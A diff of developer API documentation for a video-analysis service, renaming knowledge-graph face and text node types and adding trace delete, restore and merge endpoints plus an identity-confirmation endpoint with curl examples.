<span class="w"> </span><span class="nt">&quot;result&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nt">&quot;face_trace_nodes&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">16</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;gaze_trace_nodes&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">16</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;lip_trace_nodes&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">12</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;text_trace_nodes&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">24</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;face_track_nodes&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">16</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;gaze_track_nodes&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">16</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;lip_track_nodes&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">12</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;text_region_nodes&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">24</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;appearance_trace_nodes&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">8</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;skin_tone_trace_nodes&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">5</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;accessory_nodes&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">3</span><span class="p">,</span>
@@ -230,7 +329,7 @@ a { color: #0066cc; }
<td>string</td>
<td>No</td>
<td>all</td>
<td>Filter by node type: <code>face_trace</code>, <code>gaze_trace</code>, <code>lip_trace</code>, <code>text_trace</code>, <code>appearance_trace</code>, <code>skin_tone_trace</code>, <code>accessory</code>, <code>object</code>, <code>speaker</code></td>
<td>Filter by node type: <code>face_track</code>, <code>gaze_track</code>, <code>lip_track</code>, <code>text_region</code>, <code>appearance_trace</code>, <code>skin_tone_trace</code>, <code>accessory</code>, <code>object</code>, <code>speaker</code></td>
</tr>
<tr>
<td><code>page</code></td>
@@ -249,11 +348,11 @@ a { color: #0066cc; }
</tbody>
</table>
<h4>Example</h4>
<div class="codehilite"><pre><span></span><code><span class="c1"># Get all face_trace nodes</span>
<div class="codehilite"><pre><span></span><code><span class="c1"># Get all face_track nodes</span>
curl<span class="w"> </span>-s<span class="w"> </span>-X<span class="w"> </span>POST<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$API</span><span class="s2">/api/v1/file/</span><span class="nv">$FILE_UUID</span><span class="s2">/tkg/nodes&quot;</span><span class="w"> </span><span class="se">\</span>
<span class="w"> </span>-H<span class="w"> </span><span class="s2">&quot;X-API-Key: </span><span class="nv">$KEY</span><span class="s2">&quot;</span><span class="w"> </span><span class="se">\</span>
<span class="w"> </span>-H<span class="w"> </span><span class="s2">&quot;Content-Type: application/json&quot;</span><span class="w"> </span><span class="se">\</span>
<span class="w"> </span>-d<span class="w"> </span><span class="s1">&#39;{&quot;node_type&quot;: &quot;face_trace&quot;, &quot;page&quot;: 1, &quot;page_size&quot;: 50}&#39;</span>
<span class="w"> </span>-d<span class="w"> </span><span class="s1">&#39;{&quot;node_type&quot;: &quot;face_track&quot;, &quot;page&quot;: 1, &quot;page_size&quot;: 50}&#39;</span>
<span class="c1"># Get all nodes</span>
curl<span class="w"> </span>-s<span class="w"> </span>-X<span class="w"> </span>POST<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$API</span><span class="s2">/api/v1/file/</span><span class="nv">$FILE_UUID</span><span class="s2">/tkg/nodes&quot;</span><span class="w"> </span><span class="se">\</span>
@@ -272,12 +371,12 @@ curl<span class="w"> </span>-s<span class="w"> </span>-X<span class="w"> </span>
<span class="w"> </span><span class="nt">&quot;nodes&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">[</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nt">&quot;id&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;node_type&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;face_trace&quot;</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;external_id&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;trace_0&quot;</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;label&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;Face Trace 0&quot;</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;node_type&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;face_track&quot;</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;external_id&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;face_track_0&quot;</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;label&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;Face Track 0&quot;</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;properties&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nt">&quot;trace_id&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;face_count&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">142</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;frame_count&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">142</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;avg_confidence&quot;</span><span class="p">:</span><span class="w"> </span><span class="mf">0.87</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
@@ -406,17 +505,17 @@ curl<span class="w"> </span>-s<span class="w"> </span>-X<span class="w"> </span>
</tbody>
</table>
<h4>Example</h4>
<div class="codehilite"><pre><span></span><code><span class="c1"># Get all co_occurrence edges</span>
<div class="codehilite"><pre><span></span><code><span class="c1"># Get all co_occurs edges</span>
curl<span class="w"> </span>-s<span class="w"> </span>-X<span class="w"> </span>POST<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$API</span><span class="s2">/api/v1/file/</span><span class="nv">$FILE_UUID</span><span class="s2">/tkg/edges&quot;</span><span class="w"> </span><span class="se">\</span>
<span class="w"> </span>-H<span class="w"> </span><span class="s2">&quot;X-API-Key: </span><span class="nv">$KEY</span><span class="s2">&quot;</span><span class="w"> </span><span class="se">\</span>
<span class="w"> </span>-H<span class="w"> </span><span class="s2">&quot;Content-Type: application/json&quot;</span><span class="w"> </span><span class="se">\</span>
<span class="w"> </span>-d<span class="w"> </span><span class="s1">&#39;{&quot;edge_type&quot;: &quot;co_occurs&quot;}&#39;</span>
<span class="c1"># Get edges between face_trace and speaker nodes</span>
<span class="c1"># Get edges between face_track and speaker nodes</span>
curl<span class="w"> </span>-s<span class="w"> </span>-X<span class="w"> </span>POST<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$API</span><span class="s2">/api/v1/file/</span><span class="nv">$FILE_UUID</span><span class="s2">/tkg/edges&quot;</span><span class="w"> </span><span class="se">\</span>
<span class="w"> </span>-H<span class="w"> </span><span class="s2">&quot;X-API-Key: </span><span class="nv">$KEY</span><span class="s2">&quot;</span><span class="w"> </span><span class="se">\</span>
<span class="w"> </span>-H<span class="w"> </span><span class="s2">&quot;Content-Type: application/json&quot;</span><span class="w"> </span><span class="se">\</span>
<span class="w"> </span>-d<span class="w"> </span><span class="s1">&#39;{&quot;source_type&quot;: &quot;speaker&quot;, &quot;target_type&quot;: &quot;face_trace&quot;}&#39;</span>
<span class="w"> </span>-d<span class="w"> </span><span class="s1">&#39;{&quot;source_type&quot;: &quot;speaker&quot;, &quot;target_type&quot;: &quot;face_track&quot;}&#39;</span>
</code></pre></div>
<h4>Response (200)</h4>
@@ -522,12 +621,12 @@ curl<span class="w"> </span>-s<span class="w"> </span>-X<span class="w"> </span>
<span class="w"> </span><span class="nt">&quot;success&quot;</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;node&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nt">&quot;id&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;node_type&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;face_trace&quot;</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;external_id&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;trace_0&quot;</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;label&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;Face Trace 0&quot;</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;node_type&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;face_track&quot;</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;external_id&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;face_track_0&quot;</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;label&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;Face Track 0&quot;</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;properties&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nt">&quot;trace_id&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;face_count&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">142</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;frame_count&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">142</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;avg_confidence&quot;</span><span class="p">:</span><span class="w"> </span><span class="mf">0.87</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">},</span>
@@ -722,7 +821,95 @@ curl<span class="w"> </span>-s<span class="w"> </span>-X<span class="w"> </span>
</tbody>
</table>
<hr />
<p><em>Updated: 2026-06-20 12:00:00</em></p>
<h3>Trace Management</h3>
<p>Endpoints for managing face traces: list, delete, restore, and merge.</p>
<h4><code>DELETE /api/v1/file/:file_uuid/trace/:trace_id</code></h4>
<p><strong>Auth</strong>: Required</p>
<p>Soft-delete a face trace (default) or hard-delete with <code>{"hard_delete": true}</code>.</p>
<p>Soft delete marks Qdrant points with <code>status: "deleted"</code> and TKG nodes with <code>status: "deleted"</code> in properties. Deleted traces are excluded from the traces list.</p>
<p>Hard delete permanently removes Qdrant points and TKG nodes.</p>
<p><strong>Request Body</strong> (optional):</p>
<table class="table">
<thead>
<tr>
<th>Field</th>
<th>Type</th>
<th>Default</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>hard_delete</code></td>
<td>boolean</td>
<td><code>false</code></td>
<td>Permanently delete instead of marking</td>
</tr>
</tbody>
</table>
<p><strong>Example</strong>:</p>
<div class="codehilite"><pre><span></span><code><span class="c1"># Soft delete</span>
curl<span class="w"> </span>-X<span class="w"> </span>DELETE<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$API</span><span class="s2">/api/v1/file/</span><span class="nv">$FILE_UUID</span><span class="s2">/trace/8&quot;</span><span class="w"> </span><span class="se">\</span>
<span class="w"> </span>-H<span class="w"> </span><span class="s2">&quot;X-API-Key: </span><span class="nv">$KEY</span><span class="s2">&quot;</span><span class="w"> </span>-H<span class="w"> </span><span class="s2">&quot;Content-Type: application/json&quot;</span><span class="w"> </span>-d<span class="w"> </span><span class="s1">&#39;{}&#39;</span>
<span class="c1"># Hard delete</span>
curl<span class="w"> </span>-X<span class="w"> </span>DELETE<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$API</span><span class="s2">/api/v1/file/</span><span class="nv">$FILE_UUID</span><span class="s2">/trace/8&quot;</span><span class="w"> </span><span class="se">\</span>
<span class="w"> </span>-H<span class="w"> </span><span class="s2">&quot;X-API-Key: </span><span class="nv">$KEY</span><span class="s2">&quot;</span><span class="w"> </span>-H<span class="w"> </span><span class="s2">&quot;Content-Type: application/json&quot;</span><span class="w"> </span><span class="se">\</span>
<span class="w"> </span>-d<span class="w"> </span><span class="s1">&#39;{&quot;hard_delete&quot;: true}&#39;</span>
</code></pre></div>
<p><strong>Response</strong>:</p>
<div class="codehilite"><pre><span></span><code><span class="p">{</span>
<span class="w"> </span><span class="nt">&quot;success&quot;</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;file_uuid&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;9f6a9cd55a5809f977f5a6589b9045c5&quot;</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;trace_id&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">8</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;hard_delete&quot;</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;qdrant_marked&quot;</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;tkg_nodes_marked&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span>
<span class="p">}</span>
</code></pre></div>
<hr />
<h4><code>POST /api/v1/file/:file_uuid/trace/:trace_id/restore</code></h4>
<p><strong>Auth</strong>: Required</p>
<p>Undo a soft-deleted trace. Clears <code>status: "deleted"</code> from Qdrant points and TKG node properties.</p>
<p><strong>Example</strong>:</p>
<div class="codehilite"><pre><span></span><code>curl<span class="w"> </span>-X<span class="w"> </span>POST<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$API</span><span class="s2">/api/v1/file/</span><span class="nv">$FILE_UUID</span><span class="s2">/trace/8/restore&quot;</span><span class="w"> </span><span class="se">\</span>
<span class="w"> </span>-H<span class="w"> </span><span class="s2">&quot;X-API-Key: </span><span class="nv">$KEY</span><span class="s2">&quot;</span>
</code></pre></div>
<p><strong>Response</strong>:</p>
<div class="codehilite"><pre><span></span><code><span class="p">{</span>
<span class="w"> </span><span class="nt">&quot;success&quot;</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;file_uuid&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;9f6a9cd55a5809f977f5a6589b9045c5&quot;</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;trace_id&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">8</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;qdrant_restored&quot;</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;tkg_nodes_restored&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span>
<span class="p">}</span>
</code></pre></div>
<hr />
<h4><code>POST /api/v1/file/:file_uuid/trace/:source_trace_id/merge/:target_trace_id</code></h4>
<p><strong>Auth</strong>: Required</p>
<p>Merge all face points from source trace into target trace. Updates Qdrant <code>trace_id</code> and deletes source TKG node.</p>
<p><strong>Example</strong>:</p>
<div class="codehilite"><pre><span></span><code>curl<span class="w"> </span>-X<span class="w"> </span>POST<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$API</span><span class="s2">/api/v1/file/</span><span class="nv">$FILE_UUID</span><span class="s2">/trace/16/merge/3&quot;</span><span class="w"> </span><span class="se">\</span>
<span class="w"> </span>-H<span class="w"> </span><span class="s2">&quot;X-API-Key: </span><span class="nv">$KEY</span><span class="s2">&quot;</span>
</code></pre></div>
<p><strong>Response</strong>:</p>
<div class="codehilite"><pre><span></span><code><span class="p">{</span>
<span class="w"> </span><span class="nt">&quot;success&quot;</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;file_uuid&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;9f6a9cd55a5809f977f5a6589b9045c5&quot;</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;source_trace_id&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">16</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;target_trace_id&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">3</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;points_moved&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">58</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;tkg_nodes_deleted&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span>
<span class="p">}</span>
</code></pre></div>
<hr />
<p><em>Updated: 2026-07-21 01:00:00</em></p>
</div>
</body>
</html>
docs_v1.0/doc_developer/18_profile.html
+2 -1
View File
@@ -505,7 +505,8 @@ a { color: #0066cc; }
</tbody>
</table>
<hr />
<p><em>Updated: 2026-07-18 — New profile module: trace-profile (GET, PUT, PUT group) and file-profile (GET, PUT)</em></p>
<p><em>Updated: 2026-07-21 — Fixed external_id matching (trace_N + face_track_N formats), fixed parameter ordering in UPDATE query</em>
<em>Updated: 2026-07-18 — New profile module: trace-profile (GET, PUT, PUT group) and file-profile (GET, PUT)</em></p>
</div>
</body>
</html>
docs_v1.0/doc_developer/index.html
+1 -1
View File
@@ -29,7 +29,7 @@ a:hover td { background: #f8f8f8; border-radius: 4px; }
<a class="logout-btn" href="#" onclick="fetch('/api/v1/auth/logout',{method:'POST'}).then(()=>window.location.reload());return false">Logout</a>
</div>
<p class="subtitle">API 參考手冊 — 登入後可瀏覽各模組文件</p>
<table><tr onclick="window.location='11_error_codes.html'" style="cursor:pointer"><td class="cn">錯誤碼</td><td class="en">Error Codes</td></tr><tr onclick="window.location='14_identity_history.html'" style="cursor:pointer"><td class="cn">14 Identity History</td><td class="en"></td></tr><tr onclick="window.location='15_tkg.html'" style="cursor:pointer"><td class="cn">15 Tkg</td><td class="en"></td></tr><tr onclick="window.location='16_workspace.html'" style="cursor:pointer"><td class="cn">16 Workspace</td><td class="en"></td></tr><tr onclick="window.location='99_incomplete.html'" style="cursor:pointer"><td class="cn">99 Incomplete</td><td class="en"></td></tr></table>
<table><tr onclick="window.location='11_error_codes.html'" style="cursor:pointer"><td class="cn">錯誤碼</td><td class="en">Error Codes</td></tr><tr onclick="window.location='14_identity_history.html'" style="cursor:pointer"><td class="cn">14 Identity History</td><td class="en"></td></tr><tr onclick="window.location='15_tkg.html'" style="cursor:pointer"><td class="cn">15 Tkg</td><td class="en"></td></tr><tr onclick="window.location='16_workspace.html'" style="cursor:pointer"><td class="cn">16 Workspace</td><td class="en"></td></tr><tr onclick="window.location='17_progress.html'" style="cursor:pointer"><td class="cn">17 Progress</td><td class="en"></td></tr><tr onclick="window.location='18_profile.html'" style="cursor:pointer"><td class="cn">18 Profile</td><td class="en"></td></tr><tr onclick="window.location='99_incomplete.html'" style="cursor:pointer"><td class="cn">99 Incomplete</td><td class="en"></td></tr></table>
</div>
</body>
</html>
docs_v1.0/doc_wasm/modules/05_process.md
+24 -5
View File
@@ -145,11 +145,30 @@ Get real-time processing progress for a file via Redis pub/sub. Includes per-pro
| 3 | `asrx` | asr | Speaker diarization |
| 4 | `yolo` | — | Object detection |
| 5 | `ocr` | — | Text recognition |
| 6 | `face` | — | Face detection & embedding |
| 7 | `pose` | — | Pose estimation |
| 8 | `visual_chunk` | yolo | Visual scene chunks |
| 9 | `story` | asr, asrx, cut, yolo, face | Scene summaries (template) |
| 10 | `5w1h` | story | 5W1H analysis (Gemma4 LLM) |
| 6 | `face` | — | Face detection & embedding (8Hz sampling) |
| 7 | `face_trace` | face | Face tracking (IoU + embedding, assigns trace_id) |
| 8 | `pose` | face_trace | Pose expansion from face traces, inherits trace_id |
| 9 | `appearance` | pose | Appearance expansion from pose traces, inherits trace_id |
**Key Concepts:**
- **Face** = Identity anchor (who is this person?) — requires high-quality embedding
- **Pose** = Tracking (where is this person?) — extends tracking when face is occluded
- **Appearance** = Tracking (what do they look like?) — extends tracking when pose is occluded
**Trace ID Inheritance:**
```
Face trace (identity anchor)
↓ inherits trace_id
Pose expansion (tracking continuity)
↓ inherits trace_id
Appearance expansion (tracking continuity)
```
**Frame Count Relationship:**
```
face frames ≤ pose frames ≤ appearance frames
```
(Each level expands outward from the previous level's traces)
All processors except `story` and `5w1h` run concurrently when their dependencies are met. Story and 5W1H run sequentially after their prerequisites.
docs_v1.0/doc_wasm/modules/07_identity.md
+1
View File
@@ -1102,4 +1102,5 @@ PATCH /api/v1/identity/:identity_uuid
This **replaces** the entire `aliases` array. To add to existing aliases, include all existing entries in the request.
---
*Updated: 2026-07-21 — Fixed bind/unbind TKG update to match both trace_N and face_track_N external_id formats*
*Updated: 2026-06-20 — Added identity files, chunks, faces, status, and JSON endpoints*
docs_v1.0/doc_wasm/modules/08_identity_agent.md
+60 -1
View File
@@ -65,4 +65,63 @@ curl -s -X POST "$API/api/v1/agents/identity/match-from-trace" \
```
---
*Updated: 2026-05-19 12:49:24*
### `POST /api/v1/agents/identity/confirm`
**Auth**: Required
**Scope**: file-level
Confirm identity binding for a trace. This marks the trace as confirmed in TKG, updates face_detections, adds to _seeds, and optionally triggers Round 2 propagation.
#### Request Parameters
| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `file_uuid` | string | Yes | Video file UUID |
| `trace_id` | integer | Yes | Face trace ID to confirm |
| `identity_id` | integer | Yes | Identity internal ID |
| `identity_uuid` | string | Yes | Identity UUID |
| `name` | string | Yes | Identity name |
| `propagate` | boolean | No | Auto-trigger Round 2 matching (default: true) |
#### Example
```bash
curl -s -X POST "$API/api/v1/agents/identity/confirm" \
-H "Authorization: Bearer $JWT" \
-H "Content-Type: application/json" \
-d '{"file_uuid": "'"$FILE_UUID"'", "trace_id": 10, "identity_id": 42, "identity_uuid": "'"$IDENTITY_UUID"'", "name": "Cary Grant", "propagate": false}'
```
#### Response (200)
```json
{
"success": true,
"file_uuid": "384b0ff44aaaa1f1",
"trace_id": 10,
"identity_uuid": "a9a90105...",
"name": "Cary Grant",
"steps": {
"tkg_updated": true,
"qdrant_updated": 150,
"pg_updated": 150,
"seed_added": true
},
"propagation": {
"matched": 5,
"message": "Propagation completed"
}
}
```
#### Side Effects
1. TKG face_track node status → 'confirmed'
2. Qdrant _faces: identity_uuid added to payload
3. PG face_detections: identity_id set
4. Trace centroid added to _seeds (source='propagation')
5. Round 2 matching triggered (if propagate=true)
---
*Updated: 2026-06-26 00:30:00*
docs_v1.0/doc_wasm/modules/10_pipeline.md
+12 -9
View File
@@ -42,6 +42,7 @@ These steps run after the 10 processors and are **required for pipeline completi
| # | Step | Triggers When | Verification |
|---|------|--------------|-------------|
| 1 | **Rule 1 Sentence Chunking** | ASR + ASRX done | `chunk` table has rows with `chunk_type = 'sentence'` |
| 1.1 | **Rule 1 OCR Chunks** | OCR done | OCR pre_chunks grouped into sentence chunks |
| 2 | **Auto-Vectorize** | Rule 1 done | `chunk.embedding` IS NOT NULL for sentence chunks |
| 3 | **Phase 1 Pack** | Rule 1 done | `release_pack.py --phase 1` executed |
| 4 | **Rule 3 Scene Chunking** | All 10 processors done + Cut + ASR | `chunk` table has rows with `chunk_type = 'cut'` |
@@ -81,15 +82,17 @@ curl "$API/api/v1/stats/ingestion-status/bd80fec9c42afb0307eb28f22c64c76a" | jq
{
"file_uuid": "bd80fec9c42afb0307eb28f22c64c76a",
"steps": [
{ "name": "rule1_sentence", "status": "pending", "detail": "0 sentence chunks" },
{ "name": "auto_vectorize", "status": "pending", "detail": "0 embedded" },
{ "name": "rule3_scene", "status": "pending", "detail": "0 scene chunks" },
{ "name": "face_trace", "status": "pending", "detail": "0 traces" },
{ "name": "trace_chunks", "status": "pending", "detail": "0 trace chunks" },
{ "name": "tkg", "status": "pending", "detail": "0 nodes, 0 edges" },
{ "name": "identity_match", "status": "pending", "detail": "0 identities" },
{ "name": "scene_metadata", "status": "pending", "detail": null },
{ "name": "5w1h", "status": "pending", "detail": "0 scenes with 5W1H" }
{ "name": "rule1_sentence", "status": "done", "detail": "35 sentence chunks" },
{ "name": "rule1_ocr", "status": "done", "detail": "30 OCR frames" },
{ "name": "rule1_ocr_chunks", "status": "done", "detail": "3 OCR-only chunks" },
{ "name": "auto_vectorize", "status": "pending", "detail": "0 embedded" },
{ "name": "rule3_scene", "status": "pending", "detail": "0 scene chunks" },
{ "name": "face_trace", "status": "pending", "detail": "0 traces" },
{ "name": "trace_chunks", "status": "pending", "detail": "0 trace chunks" },
{ "name": "tkg", "status": "pending", "detail": "0 nodes, 0 edges" },
{ "name": "identity_match", "status": "pending", "detail": "0 identities" },
{ "name": "scene_metadata", "status": "pending", "detail": null },
{ "name": "5w1h", "status": "pending", "detail": "0 scenes with 5W1H" }
]
}
```
docs_v1.0/doc_wasm/modules/15_tkg.md
+187 -39
View File
@@ -6,31 +6,82 @@
TKG is a time-aligned knowledge graph built from multi-processor outputs (face, yolo, ocr, pose, asrx, gaze, lip, appearance). It produces 9 node types and 14 edge types stored in `dev.tkg_nodes` and `dev.tkg_edges`.
**Node naming convention:** All trace types use `_track` suffix. Text uses `_region` (non-temporal).
**See also:** `docs_v1.0/DESIGN/TKG_FORMATION_V1.0.md` for formation phases, flow diagrams, and query examples.
### Node Types
| Node Type | Description | Key Properties |
|-----------|-------------|----------------|
| `face_trace` | A tracked face identity over time | `trace_id`, `face_count`, `avg_confidence` |
| `gaze_trace` | Gaze direction over time | `direction` (frontal/left/right/up/down + diagonals) |
| `lip_trace` | Lip movement synced with speech | `speaker_id`, `lip_area_range` |
| `text_trace` | Spoken text aligned to time | `speaker_id`, `text`, `start_time`, `end_time` |
| `appearance_trace` | Human appearance (clothing) over time | `clothing_color`, `upper_cloth`, `lower_cloth` |
| `skin_tone_trace` | Fitzpatrick skin tone classification | `fitzpatrick_type` (I–VI) |
| `accessory` | Detected accessories | `type` (glasses/hat/etc.), `confidence` |
| `object` | YOLO-detected object | `class`, `confidence`, `frame_count` |
| `speaker` | ASRX speaker segment | `speaker_id`, `segment_count`, `total_duration` |
| Node Type | External ID Format | Description | Key Properties |
|-----------|-------------------|-------------|----------------|
| `face_track` | `trace_{trace_id}` | A tracked face identity over time | `trace_id`, `frame_count`, `status`, `avg_bbox`, `avg_yaw`, `avg_pitch`, `avg_roll`, `start_frame`, `end_frame`, `pose_count` |
| `gaze_track` | `gaze_track_{id}` | Gaze direction over time | `direction` (frontal/left/right/up/down + diagonals) |
| `lip_track` | `lip_track_{id}` | Lip movement synced with speech | `speaker_id`, `lip_area_range` |
| `text_region` | `text_region_{id}` | Spoken text aligned to time | `speaker_id`, `text`, `start_time`, `end_time` |
| `appearance_trace` | `appearance_{trace_id}` | Human appearance (clothing) over time | `clothing_color`, `upper_cloth`, `lower_cloth` |
| `accessory` | `accessory_{id}` | Detected accessories | `type` (glasses/hat/etc.), `confidence` |
| `object` | `object_{class}_{id}` | YOLO-detected object | `class`, `confidence`, `frame_count` |
| `speaker` | `speaker_{speaker_id}` | ASRX speaker segment | `speaker_id`, `segment_count`, `total_duration` |
---
### Identity Agent Integration (face_track nodes)
Identity Agent marks face_track nodes with identity binding status.
#### face_track Status Values
| Status | Description | Properties |
|--------|-------------|------------|
| `pending` | No identity suggestion | Default state |
| `suggested` | Identity Agent suggested | `pending_identity_name`, `pending_identity_uuid`, `suggested_by`, `confidence` |
| `confirmed` | User confirmed binding | `identity_uuid`, `identity_id`, `identity_ref`, `identity_name` |
| `stranger` | Stranger cluster member | `stranger_id`, `stranger_ref` |
#### Suggested By Values
| Value | Description |
|-------|-------------|
| `tmdb` | TMDb seed matched |
| `propagation` | Confirmed trace propagation |
| `manual` | User manual selection |
#### Example face_track Node
```json
{
"node_type": "face_track",
"external_id": "face_track_1",
"label": "Face Track 1",
"properties": {
"trace_id": 1,
"frame_count": 45,
"start_frame": 100,
"end_frame": 300,
"avg_bbox": {"x": 100, "y": 200, "width": 80, "height": 100},
"status": "suggested",
"pending_identity_name": "Tom Hanks",
"pending_identity_uuid": "xxx-xxx",
"suggested_by": "tmdb",
"confidence": 0.91
}
}
```
---
### Edge Types
| Edge Type | Source → Target | Description |
|-----------|-----------------|-------------|
| `co_occurs` | object ↔ object | Two objects appear together in same frame |
| `speaker_face` | speaker ↔ face_trace | Speaker matched to face trace via lip sync |
| `face_face` | face_trace ↔ face_trace | Two face traces interact (mutual gaze) |
| `mutual_gaze` | gaze_trace ↔ gaze_trace | Two people looking at each other |
| `lip_sync` | lip_trace ↔ text_trace | Lip movement aligned with spoken text |
| `has_appearance` | face_trace ↔ appearance_trace | Face has specific appearance |
| `wears` | face_trace ↔ accessory | Face wears an accessory |
| Edge Type | Storage Name | Source → Target | Description |
|-----------|--------------|-----------------|-------------|
| `co_occurs` | `CO_OCCURS_WITH` | object ↔ object | Two objects appear together in same frame |
| `speaker_face` | `SPEAKS_AS` | speaker → face_track | Speaker matched to face track via lip sync |
| `face_face` | `INTERACTS_WITH` | face_track ↔ face_track | Two face tracks interact (mutual gaze) |
| `mutual_gaze` | `MUTUAL_GAZE` | gaze_track ↔ gaze_track | Two people looking at each other |
| `lip_sync` | `LIP_SYNC` | lip_track → text_region | Lip movement aligned with spoken text |
| `has_appearance` | `HAS_APPEARANCE` | face_track → appearance_trace | Face has specific appearance |
| `wears` | `WEARS` | face_track → accessory | Face wears an accessory |
